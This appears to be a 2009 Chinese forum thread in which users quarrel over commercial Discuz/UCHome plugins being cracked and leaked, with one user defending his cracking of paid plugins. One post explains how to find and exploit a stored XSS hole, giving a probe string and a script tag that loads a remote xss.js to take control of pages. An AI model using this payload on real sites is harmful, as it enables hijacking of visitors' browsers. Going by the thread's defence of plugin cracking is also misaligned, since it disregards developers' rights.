关于『最近商业插件免费发布成风』讨论

都占我也占，最近火药味很浓

兰如玉我没接触过，我也是看到DZ里面有几个帖子都这样评论她，如果她真的是您说的那样，那我收回以上对 ...
ylkj 发表于 2009-9-21 21:20

    你以为你一句收回你说的话就当做没说过了？
你要知道别人看到你一开始的帖子，并不一定能看到你说你要收回的帖子，在你没有调查清楚前不要乱说！
我可以不可以开个帖子把你骂一顿，然后在开个帖子说对不起，你就能当做没那回事了？我看你就是个没事找事的人。
我放弃使用UCHOME，不代表我就不来这看帖子！

商业插件都是限制域名的，转手谁买？
我们帮别人破解一般都不会公布，而且会提醒要我们破解的人不要公 ...
ylkj 发表于 2009-9-21 21:10

    你傻啊！第一、不是所有的插件都是加密限制域名的，第二，即使加密都是可以破解的，
你以为你提醒别人不要公布，你以为你是谁啊，你提醒人家人家就听你的啊！
别人会倒卖就是因为你这样的人存在！

搜索下楼主的帖子，原来你也是个爱干和别人 交换插件的 人，像这种交换插件的来的插件被放出来不是正常吗？还把责任推给开发者？你破解了别人的插件就没干过坏事？我看论坛上弄成这个样，都是因为像你这样的人的存在，你这样的人真是垃圾！

漏洞是利用跨站的注入形式，不过他的注入内容不是SQL，而是HTML代码或javascript语句，
要知道一个站是不是存在这个漏洞，可以提交</:>AAAAAA，进行测试，如果这几个字符提交后不被网站程序转换，就证明跨站代码可以执行，要想知道有没有被转换，提交后点击IE菜单查看源文件，CTRL+F查找：</:>
，若代码存在，说明漏洞可以利用，那就构造一段JS代码，如：<script src=http://网站地址/xss.js></script>，尽量控制提交代码的长度，然后把控制网页的代码放到http://网站地址/xss.js里，
把代码在XXXX里提交（不说太清楚了）即可，最后新建一个JS文件，要调用什么完全由这个JS文件控制了，


高手飘过吧！！！！！！
以上内容仅仅做解释WOWO漏洞之用，不对此言论造成的后果负责！

你以为你一句收回你说的话就当做没说过了？
你要知道别人看到你一开始的帖子，并不一定能看到你说你要收回的帖子，在你没有调查清楚前不要乱说！
我可以不可以开个帖子把你骂一顿，然后在开个帖子说对不起，你就能当做没那回事了？我看你就是个没事找事的人。
我放弃使用UCHOME，不代表我就不来这看帖子！

如果我怕被骂就不会发这种帖子，如果您想骂您也可以骂。
您说您放弃UCHOME，而又来看这帖子，就像是一个人说不爱某某，却又每天关注某某一样自欺欺人。
我发这贴可没推卸责任，再说也没有人说是我的责任，如果像您说的别人想倒卖，总会想办法去弄，也不一定要靠我。我帮别人解密是我自己也不愿意花钱去买插件，所以我理解别人想要插件的心理。
如果您说插件被倒卖是我的错，那是不是出现杀人案凶器用的是菜刀，公安局要去找卖菜刀的人追究责任？

如果我怕被骂就不会发这种帖子，如果您想骂您也可以骂。
您说您放弃UCHOME，而又来看这帖子，就像是一个 ...
ylkj 发表于 2009-9-21 22:33

你懂法吗？
三鹿奶粉的三聚氰胺事件，卖三聚氰胺的不都抓起来了么？
你提供刀或者枪给我我去杀人，你能说你没事？

</:>AAAAAA

你懂法吗？
三鹿奶粉的三聚氰胺事件，卖三聚氰胺的不都抓起来了么？
你提供刀或者枪给我我去杀人，你能说你没事？

如果是这样，那所有卖菜刀的人都会被抓起来，请问您家的菜刀哪里买的？

如果是这样，那所有卖菜刀的人都会被抓起来，请问您家的菜刀哪里买的？
ylkj 发表于 2009-9-22 10:14

又不是所有卖三聚氰胺的人都抓起来了，而是那些非法倒卖的才抓的，而你破解别人的东西，你不会是合法的吧？